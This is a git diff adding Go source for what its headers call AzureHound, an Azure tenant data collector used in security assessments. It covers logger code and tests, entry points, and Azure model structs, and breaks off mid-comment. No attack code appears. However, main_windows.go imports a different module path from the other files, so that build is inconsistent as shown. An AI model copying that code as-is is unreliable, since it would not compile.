a/logger/internal/logger.go b/logger/internal/logger.go new file mode 100644 index 0000000..e27fa5c --- /dev/null +++ b/logger/internal/logger.go @@ -0,0 +1,176 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package internal + +import ( + "io" + "os" + "path" + "time" + + "github.com/go-logr/logr" + "github.com/rs/zerolog" +) + +const ( + BaseCallDepth int = 2 + + // ErrorLevel limits logs to ERROR messages only + ErrorLevel int = -1 + // MaxInfoLevel allows ERROR, INFO, DEBUG and TRACE messages + MaxInfoLevel int = 2 + // MedInfoLevel allows ERROR, INFO, and DEBUG messages + MedInfoLevel int = 1 + // MinInfoLevel limits logs to ERROR and INFO messages + MinInfoLevel int = 0 +) + +type logSink struct { + logger *zerolog.Logger + name string + callDepth int +} + +// Options allows the user to set various options for the logr.Logger implementation +type Options struct { + // Structured enables structured logging + Structured bool + // Colors enables colors for unstructured logging only + Colors bool + // Writers defines which transports the logger should write to + Writers []io.Writer + // Level defines the logging verbosity; defaults to MinInfoLevel + Level int +} + +// NewLogger returns a new logr.Logger instance +func NewLogger(options Options) logr.Logger { + if len(options.Writers) == 0 { + options.Writers = append(options.Writers, os.Stderr) + } + + if !options.Structured { + for i, writer := range options.Writers { + options.Writers[i] = zerolog.ConsoleWriter{Out: writer, NoColor: !options.Colors, TimeFormat: time.RFC3339} + } + } + + writer := zerolog.MultiLevelWriter(options.Writers...) + logger := zerolog.New(writer).With().Timestamp().Logger() + + if options.Level < MinInfoLevel { + logger = logger.Level(zerolog.ErrorLevel) + } else { + lvl := calcLevel(options.Level) + logger = logger.Level(lvl) + } + + return logr.New(&logSink{ + logger: &logger, + name: "", + callDepth: BaseCallDepth, + }) +} + +// Enabled tests whether this logr.LogSink is enabled at the specified V-level. +// For example, commandline flags might be used to set the logging +// verbosity and disable some info logs. +func (s logSink) Enabled(level int) bool { + lvl := calcLevel(level) + if logEvent := s.logger.WithLevel(lvl); logEvent == nil { + return false + } else { + return logEvent.Enabled() + } +} + +// Error logs an error, with the given message and key/value pairs as +// context. See logr.Logger.Error for more details. +func (s logSink) Error(err error, msg string, keysAndValues ...interface{}) { + logEvent := s.logger.Error().Err(err) + s.log(logEvent, msg, keysAndValues) +} + +// Info logs a non-error message with the given key/value pairs as context. +// The level argument is provided for optional logging. This method will +// only be called when Enabled(level) is true. See logr.Logger.Info for more +// details. +func (s logSink) Info(level int, msg string, keysAndValues ...interface{}) { + lvl := calcLevel(level) + logEvent := s.logger.WithLevel(lvl) + s.log(logEvent, msg, keysAndValues) +} + +// Init receives optional information about the logr library for logr.LogSink +// implementations that need it. +func (s *logSink) Init(info logr.RuntimeInfo) { + s.callDepth = info.CallDepth + BaseCallDepth +} + +// WithName returns a new logr.LogSink with the specified name appended. See +// logr.Logger.WithName for more details. +func (s logSink) WithName(name string) logr.LogSink { + s.name = path.Join(s.name, name) + return &s +} + +// WithValues returns a new logr.LogSink with additional key/value pairs. See +// logr.Logger.WithValues for more details. +func (s logSink) WithValues(keysAndValues ...interface{}) logr.LogSink { + logger := s.logger.With().Fields(keysAndValues).Logger() + s.logger = &logger + return &s +} + +// WithCallDepth returns a logr.LogSink that will offset the call +// stack by the specified number of frames when logging call +// site information. +// +// If depth is 0, the logr.LogSink should skip exactly the number +// of call frames defined in logr.RuntimeInfo.CallDepth when Info +// or Error are called, i.e. the attribution should be to the +// direct caller of logr.Logger.Info or logr.Logger.Error. +// +// If depth is 1 the attribution should skip 1 call frame, and so on. +// Successive calls to this are additive. +func (s logSink) WithCallDepth(depth int) logr.LogSink { + s.callDepth += depth + return &s +} + +func (s logSink) log(e *zerolog.Event, msg string, keysAndValues []interface{}) { + if e != nil { + if s.name != "" { + e.Str("name", s.name) + } + + e.Fields(keysAndValues) + e.CallerSkipFrame(s.callDepth) + e.Msg(msg) + } +} + +func calcLevel(level int) zerolog.Level { + lvl := level + if level < MinInfoLevel { + lvl = MinInfoLevel + } else if level > MaxInfoLevel { + lvl = MaxInfoLevel + } + return zerolog.InfoLevel - zerolog.Level(lvl) +} diff --git a/logger/internal/logger_test.go b/logger/internal/logger_test.go new file mode 100644 index 0000000..eab2dd5 --- /dev/null +++ b/logger/internal/logger_test.go @@ -0,0 +1,135 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package internal + +import ( + "bytes" + "fmt" + "io" + "testing" + "time" + + "github.com/go-logr/logr" +) + +const ( + LogErrorTemplate string = `{"level":"error","error":"I'm an error","time":"%s","message":"Something happened"}%s` + LogInfoTemplate string = `{"level":"info","foo":"bar","name":"fakeName","baz":42,"buzz":true,"time":"%s","message":"teapot"}%s` + LogInfoUnstructuredTemplate string = "%s INF teapot baz=42 buzz=true foo=bar name=fakeName%s" +) + +func TestError(t *testing.T) { + writer := &bytes.Buffer{} + options := Options{ + Structured: true, + Writers: []io.Writer{writer}, + } + logger := NewLogger(options) + logError(logger)() + + got := writer.String() + want := fmt.Sprintf(LogErrorTemplate, now(), "\n") + + if got != want { + t.Errorf("got: %v\nwant: %v", got, want) + } +} + +func TestInfo(t *testing.T) { + writer := &bytes.Buffer{} + options := Options{ + Structured: true, + Writers: []io.Writer{writer}, + } + logger := NewLogger(options) + logInfo(logger)() + + got := writer.String() + want := fmt.Sprintf(LogInfoTemplate, now(), "\n") + + if got != want { + t.Errorf("got: %v\nwant: %v", got, want) + } +} + +func TestInfoErrorLevel(t *testing.T) { + writer := &bytes.Buffer{} + options := Options{ + Structured: true, + Writers: []io.Writer{writer}, + Level: ErrorLevel, + } + logger := NewLogger(options) + logInfo(logger)() + + got := writer.String() + want := "" + + if got != want { + t.Errorf("got: %v\nwant: %v", got, want) + } +} + +func TestInfoUnstructured(t *testing.T) { + writer := &bytes.Buffer{} + options := Options{ + Writers: []io.Writer{writer}, + } + logger := NewLogger(options) + logInfo(logger)() + + got := writer.String() + want := fmt.Sprintf(LogInfoUnstructuredTemplate, now(), "\n") + + if got != want { + t.Errorf("got: %v\nwant: %v", got, want) + } +} + +func TestEnabled(t *testing.T) { + errorsOnlyLogger := NewLogger(Options{Level: ErrorLevel}) + infoLogger := NewLogger(Options{Level: MinInfoLevel}) + + if errorsOnlyLogger.GetSink().Enabled(MinInfoLevel) != false { + t.Errorf("got: %v\nwant: %v", infoLogger.Enabled(), true) + } + + if infoLogger.GetSink().Enabled(MinInfoLevel-1) != true { + t.Errorf("got: %v\nwant: %v", infoLogger.Enabled(), true) + } + + if infoLogger.GetSink().Enabled(MaxInfoLevel+1) != false { + t.Errorf("got: %v\nwant: %v", infoLogger.Enabled(), false) + } +} + +func logInfo(logger logr.Logger) func() { + return func() { + logger.WithName("fakeName").WithValues("foo", "bar").Info("teapot", "baz", 42, "buzz", true) + } +} + +func logError(logger logr.Logger) func() { + return func() { + logger.Error(fmt.Errorf("I'm an error"), "Something happened") + } +} + +func now() string { + return time.Now().Format(time.RFC3339) +} diff --git a/logger/log.go b/logger/log.go new file mode 100644 index 0000000..546937f --- /dev/null +++ b/logger/log.go @@ -0,0 +1,47 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +//go:build !windows +// +build !windows + +package logger + +import ( + "io" + "os" + + "github.com/bloodhoundad/azurehound/v2/config" + logger "github.com/bloodhoundad/azurehound/v2/logger/internal" + "github.com/go-logr/logr" +) + +func setupLogger() (*logr.Logger, error) { + options := logger.Options{ + Level: config.VerbosityLevel.Value().(int), + Structured: config.JsonLogs.Value().(bool), + Colors: true, + Writers: []io.Writer{os.Stderr}, + } + + // emit logs to file if configured + if fileLogWriter := getFileLogLevelWriter(); fileLogWriter != nil { + options.Writers = append(options.Writers, fileLogWriter) + } + + logr := logger.NewLogger(options) + return &logr, nil +} diff --git a/logger/log_windows.go b/logger/log_windows.go new file mode 100644 index 0000000..7898678 --- /dev/null +++ b/logger/log_windows.go @@ -0,0 +1,69 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package logger + +import ( + "io" + "os" + + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/constants" + logger "github.com/bloodhoundad/azurehound/v2/logger/internal" + "github.com/go-logr/logr" + "github.com/rs/zerolog" + "golang.org/x/sys/windows/svc" +) + +var eventLogWriter zerolog.LevelWriter + +func setupLogger() (*logr.Logger, error) { + var ( + logr logr.Logger + options = logger.Options{ + Level: config.VerbosityLevel.Value().(int), + Structured: config.JsonLogs.Value().(bool), + Colors: false, + Writers: []io.Writer{os.Stderr}, + } + ) + + // services should emit messages to the windows event log + if eventLogWriter := getEventLogLevelWriter(); eventLogWriter != nil { + options.Writers = append(options.Writers, eventLogWriter) + } + + // emit logs to file if configured + if fileLogWriter := getFileLogLevelWriter(); fileLogWriter != nil { + options.Writers = append(options.Writers, fileLogWriter) + } + + logr = logger.NewLogger(options) + return &logr, nil +} + +func getEventLogLevelWriter() zerolog.LevelWriter { + if eventLogWriter != nil { + return eventLogWriter + } else if isWindowsService, err := svc.IsWindowsService(); !isWindowsService || err != nil { + return nil + } else if eventLogWriter, err := NewEventLogWriter(constants.Name); err != nil { + return nil + } else { + return eventLogWriter + } +} diff --git a/logger/utils.go b/logger/utils.go new file mode 100644 index 0000000..d433aa7 --- /dev/null +++ b/logger/utils.go @@ -0,0 +1,56 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package logger + +import ( + "io" + "os" + + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/go-logr/logr" +) + +var ( + log *logr.Logger + fileLogWriter io.Writer +) + +func getFileLogLevelWriter() io.Writer { + if fileLogWriter != nil { + return fileLogWriter + } else if logfile, ok := config.LogFile.Value().(string); !ok || logfile == "" { + return nil + } else if file, err := os.OpenFile(logfile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666); err != nil { + return nil + } else { + return file + } +} + +func GetLogger() (*logr.Logger, error) { + if log != nil { + return log, nil + } + + if logr, err := setupLogger(); err != nil { + return nil, err + } else { + log = logr + return log, nil + } +} diff --git a/main.go b/main.go new file mode 100644 index 0000000..b6d8083 --- /dev/null +++ b/main.go @@ -0,0 +1,34 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +//go:build !windows +// +build !windows + +package main + +import ( + "fmt" + "os" + + "github.com/bloodhoundad/azurehound/v2/cmd" + "github.com/bloodhoundad/azurehound/v2/constants" +) + +func main() { + fmt.Fprintf(os.Stderr, "%s %s\n%s\n\n", constants.DisplayName, constants.Version, constants.AuthorRef) + cmd.Execute() +} diff --git a/main_windows.go b/main_windows.go new file mode 100644 index 0000000..0855982 --- /dev/null +++ b/main_windows.go @@ -0,0 +1,41 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package main + +import ( + "fmt" + + "golang.org/x/sys/windows/svc" + + "github.com/byt3n33dl3/azurehoundad/v2/cmd" + "github.com/byt3n33dl3/azurehoundad/v2/constants" +) + +func main() { + fmt.Printf("%s %s\n%s\n\n", constants.DisplayName, constants.Version, constants.AuthorRef) + + if isWinSvc, err := svc.IsWindowsService(); err != nil { + panic(err) + } else if isWinSvc { + if err := cmd.StartWindowsService(); err != nil { + panic(err) + } + } else { + cmd.Execute() + } +} diff --git a/models/app-member.go b/models/app-member.go new file mode 100644 index 0000000..c56b3f6 --- /dev/null +++ b/models/app-member.go @@ -0,0 +1,38 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "encoding/json" +) + +type AppMember struct { + json.RawMessage + AppId string `json:"appId"` +} + +func (s *AppMember) MarshalJSON() ([]byte, error) { + var data map[string]any + if err := json.Unmarshal(s.RawMessage, &data); err != nil { + return nil, err + } else { + StripEmptyEntries(data) + data["appId"] = s.AppId + return json.Marshal(data) + } +} diff --git a/models/app-owner.go b/models/app-owner.go new file mode 100644 index 0000000..ec3ac64 --- /dev/null +++ b/models/app-owner.go @@ -0,0 +1,44 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "encoding/json" +) + +type AppOwner struct { + Owner json.RawMessage `json:"owner"` + AppId string `json:"appId"` +} + +func (s *AppOwner) MarshalJSON() ([]byte, error) { + output := make(map[string]any) + output["appId"] = s.AppId + + if owner, err := OmitEmpty(s.Owner); err != nil { + return nil, err + } else { + output["owner"] = owner + return json.Marshal(output) + } +} + +type AppOwners struct { + Owners []AppOwner `json:"owners"` + AppId string `json:"appId"` +} diff --git a/models/app-role-assignments.go b/models/app-role-assignments.go new file mode 100644 index 0000000..f00fd8d --- /dev/null +++ b/models/app-role-assignments.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +type AppRoleAssignment struct { + azure.AppRoleAssignment + AppId string `json:"appId"` + TenantId string `json:"tenantId"` +} diff --git a/models/app.go b/models/app.go new file mode 100644 index 0000000..238d2ad --- /dev/null +++ b/models/app.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +type App struct { + azure.Application + TenantId string `json:"tenantId"` + TenantName string `json:"tenantName"` +} diff --git a/models/automation-account.go b/models/automation-account.go new file mode 100644 index 0000000..0e3bfea --- /dev/null +++ b/models/automation-account.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type AutomationAccount struct { + azure.AutomationAccount + SubscriptionId string `json:"subscriptionId"` + ResourceGroupId string `json:"resourceGroupId"` + ResourceGroupName string `json:"resourceGroupName"` + TenantId string `json:"tenantId"` +} diff --git a/models/azure-role-assignment.go b/models/azure-role-assignment.go new file mode 100644 index 0000000..e8ba1a2 --- /dev/null +++ b/models/azure-role-assignment.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type AzureRoleAssignment struct { + Assignee azure.RoleAssignment `json:"assignee"` + ObjectId string `json:"objectId"` + RoleDefinitionId string `json:"roleDefinitionId"` +} + +type AzureRoleAssignments struct { + RoleAssignments []AzureRoleAssignment `json:"assignees"` + ObjectId string `json:"objectId"` +} diff --git a/models/azure/access_policy_entry.go b/models/azure/access_policy_entry.go new file mode 100644 index 0000000..5477af0 --- /dev/null +++ b/models/azure/access_policy_entry.go @@ -0,0 +1,35 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// An identity that have access to the key vault. All identities in the array must use the same tenant ID as the key +// vault's tenant ID. +type AccessPolicyEntry struct { + // Application ID of the client making request on behalf of a principal + ApplicationId string `json:"applicationId,omitempty"` + + // The object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. + // The object ID must be unique for the list of access policies. + ObjectId string `json:"objectId,omitempty"` + + // Permissions the identity has for keys, secrets and certificates. + Permissions KeyVaultPermissions `json:"permissions,omitempty"` + + // The Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. + TenantId string `json:"tenantId,omitempty"` +} diff --git a/models/azure/addin.go b/models/azure/addin.go new file mode 100644 index 0000000..84faafb --- /dev/null +++ b/models/azure/addin.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/gofrs/uuid" + +// Defines custom behavior that a consuming service can use to call an app in specific contexts.For example, applications +// that can render file streams may configure addIns for its "FileHandler" functionality. This will let services like +// Microsoft 365 call the application in the context of a document the user is working on. +type AddIn struct { + Id uuid.UUID `json:"id,omitempty"` + Properties []KeyValue `json:"properties,omitempty"` + Type string `json:"type,omitempty"` +} diff --git a/models/azure/additional_capabilities.go b/models/azure/additional_capabilities.go new file mode 100644 index 0000000..e91dabe --- /dev/null +++ b/models/azure/additional_capabilities.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Enables or disables a capability on the virtual machine or virtual machine scale set. +type AdditionalCapabilities struct { + // The flag that enables or disables hibernation capability on the VM. + HibernationEnabled bool `json:"hibernationEnabled,omitempty"` + + // The flag that enables or disables a capability to have one or more managed data disks with UltraSSD_LRS storage + // account type on the VM or VMSS. Managed disks with storage account type UltraSSD_LRS can be added to a virtual + // machine or virtual machine scale set only if this property is enabled. + UltraSSDEnabled bool `json:"ultraSSDEnabled,omitempty"` +} diff --git a/models/azure/additional_unattend_content.go b/models/azure/additional_unattend_content.go new file mode 100644 index 0000000..7545bea --- /dev/null +++ b/models/azure/additional_unattend_content.go @@ -0,0 +1,36 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies additional XML formatted information that can be included in the Unattend.xml file, which is used by +// Windows Setup. Contents are defined by setting name, component name, and the pass in which the content is applied. +type AdditionalUnattendContent struct { + // The component name. Currently, the only allowable value is Microsoft-Windows-Shell-Setup. + ComponentName string `json:"componentName,omitempty"` + + // Specifies the XML formatted content that is added to the unattend.xml file for the specified path and component. + // The XML must be less than 4KB and must include the root element for the setting or feature that is being inserted. + Content string `json:"content,omitempty"` + + // The pass name. Currently, the only allowable value is OobeSystem. + PassName string `json:"passName,omitempty"` + + // Specifies the name of the setting to which the content applies. + // Possible values are: FirstLogonCommands and AutoLogon. + SettingName string `json:"settingName,omitempty"` +} diff --git a/models/azure/alt_security_id.go b/models/azure/alt_security_id.go new file mode 100644 index 0000000..1134353 --- /dev/null +++ b/models/azure/alt_security_id.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// For internal use only. This complex type will be deprecated in the future. +type AlternativeSecurityId struct { + Type int32 `json:"type,omitempty"` + IdentityProvider string `json:"identity_provider,omitempty"` + + // Base64Url encoded. + Key string `json:"key,omitempty"` +} diff --git a/models/azure/api_application.go b/models/azure/api_application.go new file mode 100644 index 0000000..d282da4 --- /dev/null +++ b/models/azure/api_application.go @@ -0,0 +1,59 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/gofrs/uuid" + +// Specifies settings for an application that implements a web API. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/apiapplication?view=graph-rest-1.0 +type ApiApplication struct { + // When true, allows an application to use claims mapping without specifying a custom signing key. + AcceptMappedClaims bool `json:"acceptMappedClaims,omitempty"` + + // Used for bundling consent if you have a solution that contains two parts: a client app and a custom web API app. + // If you set the appID of the client app to this value, the user only consents once to the client app. Azure AD + // knows that consenting to the client means implicitly consenting to the web API and automatically provisions + // service principals for both APIs at the same time. Both the client and the web API app must be registered in the + // same tenant. + KnownClientApplications []uuid.UUID `json:"knownClientApplications,omitempty"` + + // The definition of the delegated permissions exposed by the web API represented by this application registration. + // These delegated permissions may be requested by a client application, and may be granted by users or + // administrators during consent. Delegated permissions are sometimes referred to as OAuth 2.0 scopes. + OAuth2PermissionScopes []PermissionScope `json:"oauth2PermissionScopes,omitempty"` + + // Lists the client applications that are pre-authorized with the specified delegated permissions to access this + // application's APIs. Users are not required to consent to any pre-authorized application (for the permissions + // specified). However, any additional permissions not listed in preAuthorizedApplications (requested through + // incremental consent for example) will require user consent. + PreAuthorizedApplications []PreAuthorizedApplication `json:"preAuthorizedApplications,omitempty"` + + // Specifies the access token version expected by this resource. + // This changes the version and format of the JWT produced independent of the endpoint or client used to request the + // access token. + // + // The endpoint used, v1.0 or v2.0, is chosen by the client and only impacts the version of id_tokens. Resources + // need to explicitly configure requestedAccessTokenVersion to indicate the supported access token format. + // + // Possible values for requestedAccessTokenVersion are 1, 2, or null. If the value is null, this defaults to 1, + // which corresponds to the v1.0 endpoint. + // + // If signInAudience on the application is configured as AzureADandPersonalMicrosoftAccount, the value for this + //property must be 2 + RequestedAccessTokenVersion int32 `json:"requestedAccessTokenVersion,omitempty"` +} diff --git a/models/azure/app_profile.go b/models/azure/app_profile.go new file mode 100644 index 0000000..874235f --- /dev/null +++ b/models/azure/app_profile.go @@ -0,0 +1,24 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Contains the list of gallery applications that should be made available to the VM/VMSS. +type ApplicationProfile struct { + // Specifies the gallery applications that should be made available to the VM/VMSS + GalleryApplications []VMGalleryApplication `json:"galleryApplications,omitempty"` +} diff --git a/models/azure/app_role.go b/models/azure/app_role.go new file mode 100644 index 0000000..fd82fe6 --- /dev/null +++ b/models/azure/app_role.go @@ -0,0 +1,41 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/gofrs/uuid" + +// Represents an 